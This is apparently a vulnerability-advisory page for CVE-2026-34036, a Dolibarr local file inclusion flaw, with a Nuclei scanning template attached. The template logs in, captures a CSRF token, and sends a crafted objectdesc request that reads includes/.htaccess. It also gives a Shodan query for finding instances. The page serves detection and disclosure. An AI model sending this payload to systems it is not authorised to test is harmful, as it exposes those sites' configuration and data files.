Dolibarr <=22.0.4 - Local File Inclusion
CVE-2026-34036
Verified
Description
Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.
Severity
Medium
CVSS Score
6.5
Exploit Probability
1%
Affected Product
dolibarr
Published Date
July 24, 2026
Template Author
y0no
CVE-2026-34036.yaml
id: CVE-2026-34036
info:
name: Dolibarr <=22.0.4 - Local File Inclusion
author: y0no
severity: medium
description: |
Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.
impact: |
Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.
remediation: |
Update to the latest version once patches are available.
reference:
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r
- https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a
- https://nvd.nist.gov/vuln/detail/CVE-2026-34036
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2026-34036
epss-score: 0.01464
epss-percentile: 0.71627
cwe-id: CWE-98
metadata:
verified: true
max-request: 3
vendor: dolibarr
product: dolibarr
shodan-query: http.title:"Dolibarr"
tags: cve,cve2026,dolibarr,lfi,auth,vuln,authenticated
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'name="token" value="([a-f0-9]+)"'
internal: true
- raw:
- |
POST /index.php?mainmenu=home HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
token={{csrf}}&actionlogin=login&loginfunction=loginfunction&username={{username}}&password={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:includes/.htaccess:0 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "FilesMatch"
- "SetHandler"
condition: and
- type: word
part: body
words:
- "actionlogin"
- "Login @"
condition: or
negative: true
# digest: 4a0a0047304502201b6de3abb15c65afe442f30de108a14bfd7aa72f70b76b8fce5bf1f3c3e856d9022100f0bf65e1849fb97b60ae95ee772a42621fa7b7ed82824abd93939489fd0c4840:922c64590222798bb761d5b6d8e729506.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-34036
CWE ID:
cwe-98
Remediation Steps
Update to the latest version once patches are available.